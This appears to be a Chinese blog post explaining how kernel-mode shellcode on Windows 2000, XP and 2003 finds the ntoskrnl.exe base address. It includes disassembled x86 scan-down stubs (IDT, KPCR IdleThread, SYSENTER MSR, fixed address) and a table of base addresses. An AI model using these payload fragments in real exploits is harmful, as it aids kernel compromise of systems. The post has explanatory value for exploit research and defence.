大多数用户态Payload会首先定位kernel32.dll的基址，而在内核态下为ntoskrnl.exe(又简称nt)。nt是windows内核的核心，并为驱动程序提供核心接口，对于内核Payload来说，定位ntoskrnl.exe的基址有利于定位其导出函数。
其中一种方法是在nt的内存映射区域内向低地址扫描直到找到“MZ”标志，又称“scandown"，在实现中为了优化，采用PAGE_SIZE大小递减，不过会增加4个字节存储空间，如果对Payload的大小有限制，也可以采用一个一个字节查找。如果开启/3G启动标志，则这种方法可能失效。
- IDT Scandown 从IDT handler的high-order word开始查找，然后一个字节一个字节查找：
- KPRCB IdleThread Scandown 另一种方法是从当前的KPCR的KPCRB中IdleThread属性，这个属性总是指向nt中的一个全局变量。
- SYSENTER_EIP_MSR Scandown 适用环境：XP, 2003 (modern processors only)
- Known Portable Base Scandown 适用环境：2000, XP, 2003 SP0
00000000 8B3538F0DFFF mov esi,[0xffdff038]
00000006 AD lodsd
00000007 AD lodsd
00000008 48 dec eax
00000009 81384D5A9000 cmp dword [eax],0x905a4d
0000000F 75F7 jnz 0x8
如果nt基址恰好没有和4字节吻合，那么上面的搜索方式可能会出错，如果DF位没有清空，也可能出错，并且字节序中包含NULL字节。采用PAGE_SIZE搜索的方式可以消除这些问题：
00000000 6A38 push byte +0x38
00000002 5B pop ebx
00000003 648B03 mov eax,[fs:ebx]
00000006 8B4004 mov eax,[eax+0x4]
00000009 662501F0 and ax,0xf001
0000000D 48 dec eax
0000000E 6681384D5A cmp word [eax],0x5a4d
00000013 75F4 jnz 0x9
00000000 A12CF1DFFF mov eax,[0xffdff12c]
00000005 662501F0 and ax,0xf001
00000009 48 dec eax
0000000A 6681384D5A cmp word [eax],0x5a4d
0000000F 75F4 jnz 0x5
如果处理器支持系统调用MSR 0x176 (SYSENTER_EIP_MSR)，从返回的系统调用句柄开始查找：
00000000 6A76 push byte +0x76
00000002 59 pop ecx
00000003 FEC5 inc ch
00000005 0F32 rdmsr
00000007 662501F0 and ax,0xf001
0000000B 48 dec eax
0000000C 6681384D5A cmp word [eax],0x5a4d
00000011 75F4 jnz 0x7
nt的内存映射基址有个地址范围，其和系统版本有关，0x8050babe对前三种都适用：
00000000 B8BEBA5080 mov eax,0x8050babe
00000005 662501F0 and ax,0xf001
00000009 48 dec eax
0000000A 6681384D5A cmp word [eax],0x5a4d
0000000F 75F4 jnz 0x5
Platform Base Address End Address Windows 2000 SP4 0x80400000 0x805a3a00 Windows XP SP0 0x804d0000 0x806b3f00 Windows XP SP2 0x804d7000 0x806eb780 Windows 2003 SP1 0x80800000 0x80a6b000
No comments :
Post a Comment